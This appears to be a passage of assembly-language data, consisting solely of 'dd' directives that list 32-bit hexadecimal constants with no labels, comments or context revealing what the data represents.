		dd 23814AD8h, 27904624h, 0D51F28E6h, 0F6CF4143h, 2F79A0B1h
		dd 707E9036h, 0E8BB0034h, 43202C71h, 0B72C9BE5h, 7361B42Bh
		dd 9FC716A0h, 94108D97h, 7F16346h, 1F3EB76Ah, 0F7008B07h
		dd 7B60C240h, 0C800E0ECh, 0A9982B99h, 12F8D779h, 911A42A5h
		dd 0EA0430E0h, 0C800B84Ah, 1C10FCE7h, 0A8B02CF8h, 3357A91Dh
		dd 0A8AA4F80h, 0E7ADBCFh, 99B3818Eh, 6D4690F8h,	0C00C2DEDh
		dd 0FDDEF9F5h, 7C47F25h, 0B2B1A08Ch, 352FF21Bh,	796DCA7h
		dd 691610B8h, 328D4FBh,	0BB24A4D2h, 39408CE4h, 129D5E5h
		dd 35CE4F23h, 0DCB3F3D4h, 3485EABh, 0F54B80F0h,	0DD093Dh
		dd 0C9C024ADh, 8BF75FFDh, 0E8F8692Bh, 39054303h, 18DAC0A2h
		dd 5D2200B8h, 0CA1342C9h, 43032C76h, 0CB411A9Eh, 33E4C198h
		dd 0EA14D185h, 0E549C3A6h, 0D68619E8h, 92957F39h, 0F420E85Ch
		dd 0B80406h, 6A44387Dh,	0FF94954Dh, 0B3D39A00h,	0A25E120Dh
		dd 0F7772CDBh, 0BCE71570h, 0CC94CA1Dh, 7F11FBC0h, 686E0D0Eh
		dd 0BD2F6415h, 315924B4h, 0BC9F528h, 0CC3BC83Ch, 8780C85Ch
		dd 29D0D197h, 9466E416h, 0F55100D8h, 0B8CA39DAh, 0F24B400h
		dd 31A288AFh, 5FB30035h, 9A8A80F1h, 0CE05F8A3h,	0AD065C95h
		dd 0C9457BC1h, 9103CCC8h, 90D41310h, 53CA60C0h,	80133Dh
		dd 0DAF1880Dh, 2D561238h, 46E2C374h, 70008CC4h,	5AE55D0Eh
		dd 77558B6h, 92D4536Ah,	0A47EA085h, 0B077FE1h, 5D361A7h
		dd 5806D0F0h, 0A0727419h, 0FF8CD38h, 5D8B64ACh,	71136C20h
		dd 81F5C9Eh, 2C4EE37Ah,	1DB6009Ah, 4CEAF1Bh, 0BE426AE1h
		dd 1FCA294h, 495FD5C7h,	8E40F04Ah, 381A12FFh, 424FB1F8h
		dd 0B9882A14h, 3A20DCE0h, 0AFEC903h, 0C0B17F42h, 295FECA4h
		dd 0DCC52Eh, 4813748Fh,	5230DAC1h, 5429693Eh, 0A95607B3h
		dd 70A5EA12h, 241DC40Bh, 522C7D00h, 340F44F7h, 0B1B91660h
		dd 354089Ch, 0AD906B80h, 18DFF08Ch, 19B101ABh, 0EF1C0FFEh
		dd 3B83C917h, 48BF9A29h, 3D2CAC80h, 208B592Ch, 8C9433ECh
		dd 3E19F240h, 0E4B7599Ah, 7549409Fh, 7EC35D7Fh,	1531BD00h
		dd 0AE9A8E77h, 3A59C02Bh, 0B99C6BF8h, 0EB2C9B00h, 8C26F3F4h
		dd 0B7B055Eh, 0C8019FB5h, 5800255Ch, 1298B039h,	105C9D3h
		dd 21D7F49Ch, 0EC8FE708h, 0B90061A0h, 632B60F5h, 6F4B775h
		dd 0EC21269Ah, 1F00B143h, 0C5BBBE1h, 1D92159Bh,	0FA859CD6h
		dd 611C00FEh, 877B4C8Bh, 590062A7h, 0AED458C2h,	12BFE91Eh
		dd 30FA0130h, 0F1A1FDA4h, 20520227h, 4C67C288h,	0B5800282h
		dd 0C930FB27h, 0D0EEA269h, 40003807h, 8BE242FCh, 48017713h
		dd 85004818h, 64C8EA51h, 48F0D9ABh, 0F9C0ADE6h,	0D099ED82h
		dd 0DE8C042Dh, 80250DD3h, 16B095A0h, 30FEC832h,	7F072E7h
		dd 84BA892Dh, 36392C5h,	6D12F064h, 0F400DA27h, 0B8B3A487h
		dd 3ECD8h, 17EA893Dh, 14181C6Eh, 0D1E32B00h, 5AF82C9Ah
		dd 0BCE44C94h, 3470409Fh, 0BFBD11EFh, 8F5F5407h, 0EAD2261Ch
		dd 9441203Ch, 30E09784h, 83A30C3Bh, 8152AF5Ch, 6160CA65h
		dd 9C22B79Fh, 61AEF601h, 634145A0h, 5F592CD0h, 0CA106600h
		dd 55518Eh, 0BE28C90Ah,	98B3A22h, 0F90540B4h, 50409FA5h
		dd 0EDF6791h, 66F2411h,	0AC1D4070h, 0D609B331h,	9207E3A4h
		dd 28E000A8h, 7427429h,	0FC68780Ch, 0BDD21044h,	0D1CE67EBh
		dd 7FCE4004h, 0F8A24AE4h, 410260EAh, 0BAB7106Ah, 50705200h
		dd 0CA347377h, 1D9A1999h, 4061E129h, 322FCED4h,	0BE6951C0h
		dd 0D191F3h, 0FB780A90h, 63B61670h, 0D4B57E00h,	2E6A8C29h
		dd 0B2310993h, 0E010067Dh, 6F3FF488h, 0E2BD0222h, 911B9BD7h
		dd 642933A4h, 0C1F6CC02h, 4C04D78h, 8588F9CBh, 98F4BA93h
		dd 0E7C82208h, 0B1EDB50Bh, 95D000E0h, 0AE8FD05h, 0E45577A9h
		dd 0D53A40C8h, 0EA00B7A2h, 0A586C018h, 13CFF71Eh, 99516A3h
		dd 180BD418h, 3DD5F500h, 0B307CBA0h, 5FF4A75Eh,	88C8B1D5h
		dd 0A9C90246h, 9FDB45CFh, 34805872h, 91008D26h,	0E0E10110h
		dd 2489609h, 0CD971BFBh, 0B4C4E4F5h, 0CA99840Eh, 65053781h
		dd 48C02C2Dh, 72F80FDh,	18B63671h, 0E9F14056h, 51208B0Bh
		dd 849D010Fh, 0DFBE7414h, 7F047350h, 888E0A00h,	0F806095Fh
		dd 0AE7200E0h, 173814D9h, 680C012Fh, 0A9EBE39Bh, 0F44B13FAh
		dd 0C1E40137h, 2233A1AAh, 0DC810018h, 5C3BB15Ah, 7FF00066h
		dd 3AA227DDh, 4678A158h, 5AE8AF54h, 71C73B01h, 0B663B481h
		dd 2180C028h, 11177482h, 0FA249500h, 0A6DBE373h, 58F10006h
		dd 4AC1AFD1h, 3A00873Bh, 8CE225A1h, 0B2612F47h,	310D2CCCh
		dd 5F240ECh, 903D715h, 0C06DC129h, 0A798B0A8h, 0ED33D27h
		dd 20A7583h, 0AFE0897Bh, 0BBF0FC78h, 80740148h,	4B548B81h
		dd 5D200ED5h, 0CB0448FBh, 326081EAh, 0AE69BA5Eh, 9E00372Eh
		dd 0EE1904D4h, 1DEA0273h, 76759A38h, 0B212D052h, 430023D7h
		dd 4D68B679h, 401CBC30h, 0F744E8AAh, 281FCA02h,	710364A9h
		dd 240A005Ch, 0E84280CDh, 0C31DF607h, 4059D101h, 0CE832E8Ch
		dd 0F8354549h, 2528047Fh, 0EEA2B00Eh, 0D51DD4C5h, 9AEAD844h
		dd 65ED4090h, 0CC970057h, 9084FCFFh, 8E48F16Eh,	0DF40702h
		dd 0F810598Ch, 474B458h, 6062F2B5h, 0C4CC8803h,	0BF0E21EEh
		dd 407051D9h, 62409726h, 7F310411h, 0B45213FBh,	27715AD0h
		dd 99BA7000h, 373F7C44h
		dd 0F24E01FEh, 321CFBB5h, 0C5A85036h, 10008361h, 0FE6A8ABBh
		dd 0B622340Dh, 52A8033Ch, 9E07E04h, 0C001B5Fh, 8EB7B5Bh
		dd 0BE9BED15h, 4E6C40E8h, 380211A4h, 5E3BAC53h,	0B79E43B9h
		dd 0C0F4EF2Fh, 23C9EB1h, 0CD6187Eh, 0A2EFC07Bh,	801C0158h
		dd 6A46E205h, 8BE000A0h, 7CC5BB32h, 0A1005F73h,	2F68428Dh
		dd 740835h, 81843DA4h, 8A5A7940h, 894B5130h, 1696A8Bh
		dd 3C26E095h, 7D298909h, 0DEC86038h, 0FC0BB999h, 1CD89E6Ch
		dd 4CD0B3Ah, 0D09B818h,	22C88E2h, 0D50450A4h, 0D8F2A925h
		dd 7A0A2000h, 0AA6C67B6h, 0BAA60100h, 374B1181h, 40D55A7Bh
		dd 326D4390h, 4600A23Fh, 4F2E628Dh, 0C8F040h, 66CDF824h
		dd 8138C754h, 7DD8A409h, 0A0B0C49Ah, 5EA0F2CEh,	49280813h
		dd 0BA0EDC80h, 36C4B47h, 59FC8F0Ch, 4DA8AAD2h, 0EC92C919h
		dd 0E3244550h, 3EF6BD00h, 0DEC40F48h, 0B7F70005h, 0EF4DC139h
		dd 0DCB9D8FCh, 1006EA4h, 0BE3CFB95h, 208E070h, 0B89FE9AAh
		dd 0C0680DBFh, 0D3652B59h, 28E23D69h, 42B7B600h, 0E190470Dh
		dd 581A2C00h, 0BC64F3EDh, 78BD01C2h, 0CEC892ACh, 0C3A470DBh
		dd 310A1016h, 0C265821h, 0F24EEFD0h, 5112006Bh,	0C1456698h
		dd 3017A405h, 64D0E4A6h, 0E65A28BCh, 86D50041h,	9D75F0D2h
		dd 778D668h, 6103DE09h,	4D4A809Bh, 0DFD7456Ch, 0D8003BDCh
		dd 86BCEA71h, 9CBCE37Ch, 81E41780h, 66B4CCh, 0D24FDBBFh
		dd 1CB79B1Eh, 44759813h, 0E181ACD5h, 7BFC912Fh,	0EBBE2E14h
		dd 0AF7640F8h, 5A005B2Ch, 8749B71Bh, 7366E1C1h,	278F004Fh
		dd 0E4CBF55Fh, 0F8072677h, 7B2A7D36h, 20827035h, 0F8B843B5h
		dd 1267402h, 0DABFAF5Bh, 893D3209h, 80B39261h, 534952Ah
		dd 0C12600D9h, 78A7B0E8h, 1400523Dh, 0C9480B25h, 0EA907F2h
		dd 0CD6A24DDh, 0C7D1B0A0h, 1904FA78h, 45B6827Dh, 0FEC0DC89h
		dd 9A8A015Dh, 0CD3B7889h, 3281D0EDh, 4DF83E00h,	1A8BF9EEh
		dd 1401489Ch, 5FFCEBC0h, 4E2E88D0h, 504080E8h, 264AB86Bh
		dd 8420147Dh, 0E06656F1h, 0C9C94414h, 31B0E807h, 0ED100067h
		dd 0B8478A2Ah, 7B000ED5h, 0C2B40488h, 91D1142Eh, 0F8638030h
		dd 0CC82CD25h, 0F4579100h, 38D064BDh, 0F9600218h, 0EABA34B0h
		dd 6002844h, 844152B7h,	65152Fh, 54882E97h, 0F3EE76Ch
		dd 8C9CD770h, 0A60C0B80h, 0EB7F50EBh, 6071ECh, 0B19E8C19h
		dd 321642CEh, 0C380F89Ch, 5F61BFF9h, 24CF02F0h,	0AACDFA4Dh
		dd 0C8A8F8D2h, 220BFCFDh, 0E8D423A2h, 4F26Ch, 4F1A7354h
		dd 0AE319DFh, 5682421Dh, 1ED33802h, 0EB28C452h,	0B4A4D0h
		dd 9488265Bh, 28434661h, 0A92D8890h, 5928903Dh,	0A6800F2h
		dd 8F806946h, 4F3E2C8Bh, 0C7ED851Fh, 4003E862h,	883CD425h
		dd 254EAD21h, 10629484h, 8D16FC40h, 0C393CF02h,	90EA1A42h
		dd 4854018Ch, 3022D4FEh, 331E6DECh, 2840447Dh, 0A0B542E6h
		dd 0EC5000C3h, 170F0C11h, 4D255DF7h, 3FCCC421h,	0FC7216h
		dd 0F35B9F49h, 0A48B77CBh, 0C3ACDD4Ch, 8830BE4Bh, 3EBE50Fh
		dd 0B4710899h, 8AC865B2h, 130D8C76h, 312D42C9h,	0A7CCA08Fh
		dd 0D8C8518Bh, 0E2A09228h, 98F44A27h, 22301403h, 83A064A7h
		dd 31CEC840h, 71CA1718h, 1AA4C88Bh, 7DA4E100h, 3B9125D4h
		dd 0D2120E44h, 82A53695h, 0AA8820E6h, 14006C3Ah, 6A8199CAh
		dd 972C9021h, 80D4C013h, 2D5912B1h, 7ACFF300h, 6EC3D370h
		dd 47E45B9Bh, 702FDE54h, 6BFE828Ch, 8F257F0Eh, 8E14803Eh
		dd 2EB11E9Dh, 404807D1h, 9E748AB9h, 4A6B6E00h, 0FF5248Dh
		dd 0B7DE1866h, 0B3057921h, 0F1716A00h, 0FB124A7Ah, 96781EC3h
		dd 983882BBh, 6F43CE9Eh, 0F3EE8091h, 3E369BE8h,	0BC88A14Ah
		dd 61273ACDh, 0EEEF79FAh, 0ED2E0460h, 0F46A9AA9h, 20953084h
		dd 0D7584DE8h, 0A08D0188h, 2EFE3A49h, 0A99820B1h, 3115B730h
		dd 8FD52Dh, 0F40D8DF2h,	0B63ECFDBh, 175AE059h, 0EC2030AFh
		dd 0DA72BEh, 0CA70BD3Bh, 9890F28Dh, 2C691C00h, 3F6809EBh
		dd 0DB4518DCh, 0A47EB1AEh, 269ACE01h, 0FDAC31FAh, 0E0F8BBF7h
		dd 946F6C42h, 0B37640A4h, 7316B1E7h, 0F8049A3Fh, 5641E6A7h
		dd 32ED8C26h, 0F9FC1F1Ch, 8F214140h, 257C0Fh, 6D59C74h
		dd 4DD18280h, 0CCE322h,	0A98BAAEEh, 29586AD8h, 0D0824300h
		dd 1ACA6F3Fh, 0C8900107h, 263EEA9Bh, 0D3F4602Eh, 0AF82592Fh
		dd 8FE0E48h, 0BF5380B1h, 150E735Ah, 69B3AF03h, 0F07198CFh
		dd 0F838BBh, 0C95E9727h, 0E39A1AF6h, 7C52752Eh,	7BBA7F40h
		dd 0B80E0064h, 0CF31E426h, 58BCAF9Ah, 9C5493C0h, 2A5D0320h
		dd 3F351A67h, 16AF09F0h, 0CF237102h, 443042BFh,	0DA1D02B0h
		dd 4C699A90h, 40D0D22Fh, 6F6BB5h, 77D89576h, 0F02C5637h
		dd 4C1F73Ah, 84F16DA7h,	803D9FE1h, 0D7A91700h, 0D21F0F43h
		dd 1823C200h, 0A59FB6D3h, 26950046h, 0A747FD99h, 6486EA9h
		dd 90B3804Ch, 70BF8148h, 64563B21h, 87935E01h, 60ECC75Ah
		dd 821E3DD4h, 102D543Fh, 2C6A84h, 679A02E0h, 4EB7B5Dh
		dd 6498BE2Eh, 93884402h, 0E15840A1h, 127177B4h,	0B430A0C9h
		dd 550F443Ch, 406DCC88h, 99655A3Ah, 0E81E61E3h,	3060E7A9h
		dd 0BCF2D000h, 0C0D5222h, 530283A4h, 98A0F38Ah,	343D7AADh
		dd 0C25F87B4h, 8E31F44Dh, 4C39C83Bh, 20314470h,	0B733C107h
		dd 81002F3Ah, 0E9A41B79h, 9830D2C9h, 0BAED3030h, 0E49F0D10h
		dd 0CD393260h, 9647383h, 19D8EDBFh, 0BD5A0C30h,	5E803C00h
		dd 2F1790EFh, 9DEF22Bh,	97228598h, 38E8142Bh, 0FA026D6Fh
		dd 960CB927h, 0FC4444h,	5ECC8FE3h, 4099AB69h, 8EF8541Eh
		dd 350A2184h, 32BF2180h, 0A6CC0ED8h, 84009F8Ch,	0CEB4ED82h
		dd 0C918F21Ch, 86F19618h, 0A6401756h, 0C72A07D2h, 1F707D0h
		dd 3232D827h, 0CD730030h, 0E5603745h, 0D7E30046h, 9895D9B7h
		dd 0AF021756h, 4814F5CEh, 800056B4h, 2FB5B1E6h,	0DD58B8D0h
		dd 7B1F00C4h, 3B8CEA3Fh, 1AC446Dh, 88465Ch, 298413E4h
		dd 617C6h, 0F1D349BEh, 9230726Eh, 0A3071099h, 5B94A1EFh
		dd 0E1B92147h, 0F0D95C0Fh, 99001696h, 93CEDC72h, 27FD5AEh
		dd 6C1E611Fh, 0B459170Ah, 0C4741D0Eh, 30F29243h, 0F5473400h
		dd 449ED876h, 0E71F09E8h, 6D016217h, 481820C0h,	9D0D2DEh
		dd 3608C27h, 0B3D298C8h, 7E57DD00h, 0ED637222h,	0BBF40579h
		dd 14181B5Ch, 22718B4h,	0E8DBB091h, 9300770Fh, 0CCC67432h
		dd 350D728h, 0D41B1AAEh, 9AE0E012h, 610CF8B3h, 0C23C7794h
		dd 7B66027Ah, 7C0C2B0Eh, 0FFB37E0h, 6AF0800h, 4C25F68Fh
		dd 0D8F47Fh, 2FA0E55Dh,	18E60135h, 0CEB51216h, 252BD440h
		dd 48790B0h, 3B32E504h,	80F4B809h, 0A394E62Eh, 100B1CE7h
		dd 0CA3500EDh, 6B46A425h, 8586551Ch, 6C81C469h,	0BE6DB92Dh
		dd 3440C8D3h, 7A6F09BCh, 4CC490D6h, 116EEE07h, 600085DCh
		dd 21F667h, 904827F1h, 96E78DE2h, 0C5209E5Ch, 22C04031h
		dd 87980Ch, 8EA40B3Eh, 0D49A4721h, 304E5613h, 0E5EA1C81h
		dd 370E6CEh, 1076FCC4h,	8883AACEh, 304491B9h, 52162088h
		dd 34018179h, 30E499CBh, 0F18D3980h, 0AA5818A0h, 81BF9B3Bh
		dd 41CBC2F8h, 2E8216h, 2E13067Ch, 0A6001235h, 819F1D7Eh
		dd 12328041h, 0D0EC403Dh, 0E6E1DE10h, 18338900h, 0D969E975h
		dd 0E3E2C7h, 0D5C68C31h, 0AFB0BC9h, 0A014D124h,	18E29412h
		dd 0A301007Fh, 9C5C052Fh, 0BF06E730h, 0DE4819D2h, 90EC0061h
		dd 0CF09AA14h, 8F005DE3h
		dd 96C58B2Ch, 4CF4CEA9h, 2D0388F3h, 0B842CD20h,	0CACFE880h
		dd 78F3F6FCh, 26598468h, 0A0BF4BDh, 28C46C48h, 636EFA04h
		dd 0F8F2C2E2h, 0FB02E400h, 0CF20EE19h, 91C55602h, 444D937h
		dd 737B4084h, 13353089h, 88185C20h, 8200A42Ch, 568BE5D7h
		dd 7CA250B5h, 0C9C60019h, 28589B64h, 5D78A189h,	0DDB1FE16h
		dd 0EF94C830h, 3202004Bh, 7FC6C05Ch, 32E199CEh,	42AF00DCh
		dd 2643E1B6h, 0C9880F98h, 81B4E8EBh, 8C21E900h,	17F2DEEh
		dd 1D7CEC00h, 0E8BF8213h, 54AF5E9Bh, 0EDCF68E4h, 589E87A0h
		dd 750FFE9Fh, 0A5F70B90h, 64E20896h, 0DF200C00h, 8583FCEEh
		dd 7B5EFE00h, 0B95D76DDh, 44A600D9h, 0E2F82B3Dh, 0F7482C9Ah
		dd 222D00ABh, 63D55AF9h, 2B9202CAh, 8542C294h, 0C544447Eh
		dd 0C4412C32h, 7C4920EEh, 82A80658h, 0C2CBCF6Ch, 0F1F16196h
		dd 1F7743C4h, 426A734Eh, 5E066FE8h, 5D0184F8h, 410C8B93h
		dd 78732D3Ch, 8C10F92Fh, 1500D255h, 239FFC25h, 15A3FA0h
		dd 700B7B4Eh, 6B658B75h, 0A3C43420h, 7E910005h,	0CFF2C0A1h
		dd 0B41C695Ah, 0FCA8622Ah, 7A860124h, 0EC264800h, 13BB0804h
		dd 0F2450265h, 5EBD0080h, 0AC601EF8h, 0F4A706A6h, 0DA61A143h
		dd 0D372DC1Eh, 36B92080h, 39563515h, 2B3DCC0Ah,	2C9BC980h
		dd 9499CAF8h, 23C3B30Bh, 608C816h, 90BF02B6h, 0E32A43D6h
		dd 54805C56h, 0BB3DE44Eh, 0F5FFA14h, 0D43EBEC0h, 77FB6340h
		dd 3C0A9B95h, 0C001CC24h, 4B84D467h, 0A6CE18A0h, 1D7A3098h
		dd 1BD06020h, 0B8FCF105h, 0AC88EAEDh, 0CF052493h, 7C6600F5h
		dd 88B8840Eh, 8632D000h, 0F3260ACAh, 80589EEDh,	296B8769h
		dd 0EB005A68h, 0FA54C3BDh, 0E0CEF782h, 4E7509EDh, 2400DFE6h
		dd 0E9F45E97h, 3C89670Ah, 5C2CB803h, 0EB00CC11h, 9CA35F51h
		dd 0BD006C92h, 0C26F1CD4h, 5DAA7Dh, 799D1DDEh, 0D08FB707h
		dd 22A2E604h, 0BCCC96FFh, 0B4520014h, 0AFE2B6EEh, 180702A5h
		dd 7FFDDA60h, 0BC83E020h, 8047B09Fh, 0F06A9660h, 61E100E8h
		dd 5B6FA2ACh, 7300467Ch, 406B357Ah, 13C249B1h, 1138C99h
		dd 60DE4278h, 2541CCC9h, 0D3DAE700h, 0A1E2B554h, 0B4CA5846h
		dd 0B63BF4C1h, 77F010B0h, 0A7A312BDh, 0CDC42045h, 197335AEh
		dd 0E100A079h, 0D57DDE17h, 173837F4h, 851C8C83h, 15078278h
		dd 4A00D871h, 4B7C5A80h, 9D0B030h, 77B19BEFh, 8364A8h
		dd 0F4CC3DE1h, 0D099689Ah, 2742CB04h, 7B59CC8h,	15425C2h
		dd 99D2C1CAh, 860303Bh,	0C409CC27h, 72010188h, 0FBDFB029h
		dd 3D4FD434h, 7CBDC95Ch, 0A3752502h, 882C3F7Ah,	0F701EC2Ch
		dd 1239B47Eh, 3E41E830h, 245F7C1Dh, 384CB2F0h, 0AE598023h
		dd 25085BB1h, 768C0937h, 2471C579h, 8817B900h, 0A5FA57h
		dd 58A0CD16h, 95D16993h, 47B19A19h, 80223029h, 0BD910B07h
		dd 5023509Fh, 0C600596Ah, 37094C88h, 2AA18h, 48D480C4h
		dd 458F9A2Ch, 0A9145D03h, 0B073908h, 32358E20h,	590D0010h
		dd 0F41F6400h, 0A95E9454h, 978F0111h, 1CADF556h, 0ED2FD42Ch
		dd 3020B85Bh, 350FE3h, 0CDC6319Ch, 0E774D1FCh, 456EAC00h
		dd 0AAC77D1Ch, 0A4BE090Ah, 60E807D2h, 100B1D5h,	0E14A0503h
		dd 4901A65h, 6327ABCh, 4CB209h,	6DDE3568h, 0E60E60Fh, 965E64B9h
		dd 0CD14D317h, 3A52DAA8h, 162FBC00h, 26D8A67Eh,	3E4003F6h
		dd 38C06E18h, 6A06B617h, 287110C8h, 0A4DBDAh, 0EA9A040Bh
		dd 0F3CE9F26h, 2480B9Dh, 0A02A581Ch, 5C33D74h, 0B9E419h
		dd 0BDC179A1h, 0F380B8CBh, 33F8F50Fh, 4342060h,	2493B2AFh
		dd 40643053h, 8D79131Bh, 8887C42Eh, 0AF9A0903h,	5890844Fh
		dd 2751EA9Bh, 20E864h, 0BF296155h, 0D1253100h, 0BC65A0CBh
		dd 9E97F35h, 956AF9Ch, 0C097941Bh, 0B69D6ECh, 0D056A00h
		dd 36A946D4h, 4094B4B3h, 0CBCAFF82h, 0B2002F79h, 3B16F1C6h
		dd 5F435C1h, 5872F596h,	40FCF42Eh, 0C4CBBA09h, 64E465h
		dd 5A747875h, 89D1D31Bh, 91DCBE15h, 87C50010h, 334D140Fh
		dd 0C88902B1h, 0B445D981h, 3CF029h, 0A47982EAh,	2E5DD0FBh
		dd 90F7ED14h, 0E0A28E68h, 43D20AC0h, 7BC7E25Ch,	1199E60Fh
		dd 5A3D679Ah, 7A2DC0CCh, 6B75CBCh, 4278C801h, 3071FDBDh
		dd 0C1064584h, 59321AD6h, 0A9760031h, 0FD537B68h, 0D6E205A8h
		dd 2D0A5E04h, 14C21356h, 3B887A1Ah, 0BDBFAA3Dh,	38D0C982h
		dd 2461A146h, 3DB5D957h, 0E0058B0h, 0C08DB2D5h,	442C5B0Dh
		dd 0F37B00C2h, 1906AA78h, 6A27AFFEh, 504420E3h,	0FC2E3454h
		dd 0B0312D39h, 10ADB010h, 236E0503h, 0C0BFC8BAh, 1686F37Ah
		dd 5C9AD8h, 87E37806h, 0C4265984h, 43402045h, 17956052h
		dd 2D67AB5h, 3C941917h,	220E8CF1h, 0E85000AFh, 1FFAE2h
		dd 630B539Ah, 9D9849A2h, 9072AEAh, 0C3D2EACCh, 0C5687313h
		dd 4281BC01h, 47CABCBh,	12722F80h, 16003EC3h, 0C7F8B96Ah
		dd 1433E9E1h, 0A489BA4Ch, 0BD509701h, 6094A625h, 2616514Ch
		dd 183338F0h, 0AA5A9BD5h, 0BB8098D0h, 7B81F36h,	0F975401Bh
		dd 1996E5B5h, 0CC4D5839h, 181D82C0h, 8208C1FBh,	0F3C96110h
		dd 0C0BECD26h, 417EE441h, 9AD818F1h, 0BCC90BF1h, 0D400314Ah
		dd 0BACA898h, 0DC3383B7h, 0EA47A8B9h, 0E9CD1EBDh, 10D2C0B0h
		dd 59EE2BCFh, 3607FFECh, 99DF0784h, 545B2610h, 8908B158h
		dd 5C98C8A3h, 0AE09D3D8h, 399383h, 0FA4DA40h, 282E4C3Ch
		dd 0E48F3085h, 94940714h, 64971880h, 0A6D1DDh, 4202B901h
		dd 529217EAh, 141ABB3Eh, 7B8461FEh, 60718Ah, 461D17B4h
		dd 5E0AD56Bh, 0B87F42EFh, 401FCC09h, 3EE97050h,	0E03DD44h
		dd 92C95D69h, 8B4DD4A0h, 593C0700h, 8243A429h, 8E21282Bh
		dd 42891E94h, 6E25042Ah, 0B350C8D5h, 48F07100h,	51993FE9h
		dd 27580170h, 0D3AC0486h, 3E7031B1h, 0EEDDB820h, 0A94D60B7h
		dd 9693D02Ch, 3D0E8538h, 1C177FA5h, 78A3F15Dh, 5B31A70Eh
		dd 494FBAE3h, 924C80ACh, 0CCB9F689h, 62A72780h,	0B0767Eh
		dd 695D1391h, 0E6A1343Bh, 871A8C01h, 0FA323EAFh, 85D1A2F5h
		dd 1E464C48h, 4015DDC9h, 5DA69891h, 0F826D24Dh,	404068EDh
		dd 1B1E8A1h, 4CCA2F7Fh,	2C831C63h, 85039644h, 91D8CD91h
		dd 5C805711h, 9499B90Bh, 1A0035CCh, 1D50148Dh, 0A634BF9Ah
		dd 0DED700F4h, 4A234F7Ch, 6500A639h, 0EFE0C53Dh, 2D25902Fh
		dd 9804138h, 2C9B99E7h,	0ABFB931Dh, 0AC158A01h,	5C207A64h
		dd 761424E5h, 7CC025ACh, 0A5020B95h, 42F754Ch, 6C8448EDh
		dd 0E9502810h, 365E006Ch, 0E7CD1F39h, 0BA13ED1Eh, 88A2E315h
		dd 8E752300h, 48E542EEh, 0E4337B00h, 0FB346573h, 1326FAD3h
		dd 0F2BD3074h, 8091F68h, 0BA9E987h, 0A0C655B3h,	2DF0CCh
		dd 62DF0D20h, 2B7C7A06h, 70FBBB02h, 7EC8308Ah, 0E65C6080h
		dd 3D03B9F7h, 9035D7A7h, 679B89D2h, 331BEC72h, 66F0A134h
		dd 21057073h, 9B5B04B6h, 1D80ECE8h, 94221ADCh, 239FAF02h
		dd 0AE486C1Ch, 0B5D62010h, 1F89325h, 0A129D024h, 6EAF9BE9h
		dd 0D43A2437h, 4A798A80h, 12F67752h, 0D816C4h, 7118FF87h
		dd 0A212B12Dh, 8232F3Dh, 1E539089h, 2EB507D9h, 20BFC619h
		dd 0AAD29E74h, 6646012Fh, 683050ACh, 41B1021Ch,	0E1D9A99Ch
		dd 0BAFB1860h, 427FFD00h, 0C7B06CC3h, 748FA06Ah, 0A05B0112h
		dd 435308Bh, 10003A8Ch,	971D6BB1h, 0A2601F61h, 180A1833h
		dd 0FC063ED6h, 2AD78259h, 6090B778h, 34001595h,	9D6F95Eh
		dd 0F07D25h
		dd 0BF105586h, 8B9A8156h, 5A97263Ah, 211AD800h,	244C9435h
		dd 60E8A9B5h, 63C736B8h, 0DDD6BA0Bh, 1F54E486h,	1EEEC9D2h
		dd 990640E9h, 351FA23Ah, 19C9785Ch, 0D4294DCBh,	745E2Bh
		dd 0C11333F3h, 721F88CDh, 6930B19Ah, 12C5263h, 819B718Ch
		dd 2EF988BFh, 69073C09h, 0D930AFECh, 9A8000FBh,	0B1E9B577h
		dd 8614F1DCh, 80B8EDF4h, 94AF1ECEh, 0B4A90437h,	0B4E4889Ch
		dd 2D00C9D0h, 41CA59BAh, 1CCB53C5h, 0C0B42283h,	0BE3337C3h
		dd 0E901291Fh, 6D87D9BFh, 4763BF4h, 4EB73Ah, 72D1FEFBh
		dd 1930ED30h, 9AAD0874h, 6734BE68h, 0A5E9F043h,	1E056959h
		dd 48098B4Eh, 30D374B8h, 1281D08Ch, 5838700h, 8B6CC2D7h
		dd 85E3040Eh, 0BCA49A8Dh, 82B98188h, 0F520D0AEh, 0F020509h
		dd 0C830A2C9h, 0BC0E3580h, 0BFBB5D63h, 62B9BA80h, 44AD13h
		dd 0D8156AA6h, 0A5721CC8h, 3879580Bh, 6688086h,	2CD4E709h
		dd 0A5B4B53Fh, 3DA54420h, 0E624D6D3h, 3740B4E5h, 777D5885h
		dd 877A0155h, 3CD96175h, 80646C13h, 0FA1056F3h,	48060309h
		dd 69EA5FD2h, 622659C9h, 3B820A70h, 0CC2B07Fh, 0B4C407h
		dd 7FE0CB20h, 0E9AA1EB6h, 37D95900h, 326A8164h,	0CD1D09FFh
		dd 0E44409EDh, 7A3AC5FAh, 4A730086h, 715C7B21h,	3B1BFED2h
		dd 420922C1h, 0FCDA2C3Ch, 8340454Ch, 0D0980F5Ah, 3B8AB863h
		dd 0F4A5B7h, 2E70020Bh,	5E85FBD8h, 0EF0635EAh, 42C92F72h
		dd 40075EE9h, 513E9444h, 5EFE96FBh, 0CB09C6B0h,	59263C33h
		dd 0E80A94D4h, 0FCC1A04Ch, 143A45C3h, 0DAA57BC0h, 16B9001Ch
		dd 17B0295h, 1F176C36h,	820435Ch, 0AF1079h, 0D594D4ACh
		dd 0A42A64B0h, 139C1500h, 0ABF5F72Ch, 0A73C0131h, 0B9E31202h
		dd 87B86C56h, 0BCB0EE19h, 7674FAF4h, 0F09A073Fh, 0AD153F1h
		dd 7B71D68h, 2078586Eh,	68B97A36h, 0C60EA800h, 73677F93h
		dd 8B509451h, 948018A7h, 0A006CA28h, 0D70C21F4h, 798D3697h
		dd 673300BEh, 0C8E285F2h, 5100F04Fh, 0E55BE945h, 0FFAD36h
		dd 11D7BE03h, 15963068h, 614DD10Fh, 20A0EE84h, 32192F60h
		dd 54BA1C31h, 0FC8E001Bh, 0C93A6586h, 69CE9F00h, 0DF8FBCBh
		dd 0B796006Dh, 30A1FC01h, 0D8031821h, 6ACD72A7h, 50510099h
		dd 80C46ECFh, 9200F7CBh, 0D138C0A7h, 7158679h, 77D7A4B4h
		dd 3032D6EBh, 1B6EBF00h, 0A1262310h, 3C63FC47h,	86809011h
		dd 60AC147Dh, 3A7D159Ah, 8EFCD3B8h, 31694B00h, 0BFA20C8Fh
		dd 276D0033h, 0C243D9EEh, 760163AAh, 0A8D17787h, 99802069h
		dd 0FEF3395Bh, 0F47FC074h, 95B87000h, 0FF60C7E5h, 1F77544h
		dd 0D15814C5h, 83086150h, 8D6AC039h, 0DDC8B0EDh, 69E80314h
